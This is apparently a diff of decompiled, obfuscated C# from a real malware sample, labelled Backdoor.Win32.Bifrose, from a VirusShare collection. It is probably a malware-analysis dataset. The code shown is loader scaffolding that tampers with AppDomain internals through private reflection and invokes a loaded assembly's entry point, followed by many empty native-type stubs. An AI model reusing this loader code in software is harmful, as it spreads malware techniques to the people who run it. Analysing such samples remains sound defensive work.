||||
try
|
||||
{
|
||||
AppDomain.Unload(domain);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num4 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num4 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_10;
|
||||
if (num4 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num4);
|
||||
}
|
||||
}
|
||||
label_10:
|
||||
\u0082\u00BB.ù();
|
||||
\u0082\u00BB.\u0095(id);
|
||||
return num2;
|
||||
}
|
||||
|
||||
public unsafe void í()
|
||||
{
|
||||
FieldInfo fieldInfo = (FieldInfo) null;
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
uint exceptionCode;
|
||||
if ((object) entryAssembly == null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = this.Û;
|
||||
try
|
||||
{
|
||||
fieldInfo = (FieldInfo) null;
|
||||
AppDomain currentDomain = AppDomain.CurrentDomain;
|
||||
AppDomainManager appDomainManager = currentDomain.DomainManager;
|
||||
if (appDomainManager == null)
|
||||
{
|
||||
appDomainManager = new AppDomainManager();
|
||||
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
|
||||
}
|
||||
typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_18;
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
label_18:
|
||||
Assembly assembly = (Assembly) null;
|
||||
switch (this.Þ & 805306368)
|
||||
{
|
||||
case 536870912:
|
||||
assembly = this.\u0089();
|
||||
break;
|
||||
case 805306368:
|
||||
assembly = this.\u00F7();
|
||||
break;
|
||||
}
|
||||
if ((object) assembly == null)
|
||||
return;
|
||||
MethodInfo entryPoint = assembly.EntryPoint;
|
||||
if ((object) entryPoint == null)
|
||||
return;
|
||||
object[] parameters = new object[0];
|
||||
if (entryPoint.GetParameters().Length != 0)
|
||||
{
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
string[] destinationArray = new string[commandLineArgs.Length - 1];
|
||||
int length = destinationArray.Length;
|
||||
if (length != 0)
|
||||
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
|
||||
parameters = new object[1]
|
||||
{
|
||||
(object) destinationArray
|
||||
};
|
||||
}
|
||||
object obj = entryPoint.Invoke((object) null, parameters);
|
||||
if (obj == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
|
||||
}
|
||||
catch (Exception ex3) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num3 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex4) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num3 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
return;
|
||||
if (num3 == 0U)
|
||||
return;
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num3);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Þ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Þ
|
||||
{
|
||||
private IntPtr þ;
|
||||
private int \u0092;
|
||||
[NonSerialized]
|
||||
private AppDomain ú;
|
||||
|
||||
public \u0081Þ(AppDomain domain, int domainId)
|
||||
{
|
||||
this.\u0092 = domainId;
|
||||
this.ú = domain;
|
||||
this.þ = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public void \u0081ý()
|
||||
{
|
||||
if (this.ú == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
string friendlyName = this.ú.FriendlyName;
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
catch (AppDomainUnloadedException ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.\u0095(this.\u0092);
|
||||
}
|
||||
}
|
||||
|
||||
public static AppDomain \u0081\u008D()
|
||||
{
|
||||
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
|
||||
}
|
||||
|
||||
public void \u009C()
|
||||
{
|
||||
Marshal.GetObjectForIUnknown(this.þ);
|
||||
Marshal.Release(this.þ);
|
||||
this.þ = IntPtr.Zero;
|
||||
new Thread(new ThreadStart(this.\u0081ý)).Start();
|
||||
}
|
||||
|
||||
public void \u0081\u0084(object _param1, EventArgs _param2)
|
||||
{
|
||||
AppDomain appDomain = \u0081Þ.\u0081\u008D();
|
||||
if (appDomain == null)
|
||||
return;
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
|
||||
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
|
||||
this.ú = (AppDomain) null;
|
||||
appDomain.DoCallBack(callBackDelegate);
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
internal class \u0081ê
|
||||
{
|
||||
internal static Assembly \u0081\u0099 = (Assembly) null;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0081î
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 28)]
|
||||
internal struct Ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.$
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 216)]
|
||||
internal struct \u0081\u0024
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0081ö
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u0080
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0083
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u008B
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0090
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0093
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0097
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u009C
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00A0
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.«
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u00AB
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.³
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00B3
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¹
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00B9
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Â
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Â
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ç
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Ç
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Î
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Õ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081Õ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ã
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ã
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.æ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 532)]
|
||||
internal struct \u0081æ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ì
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
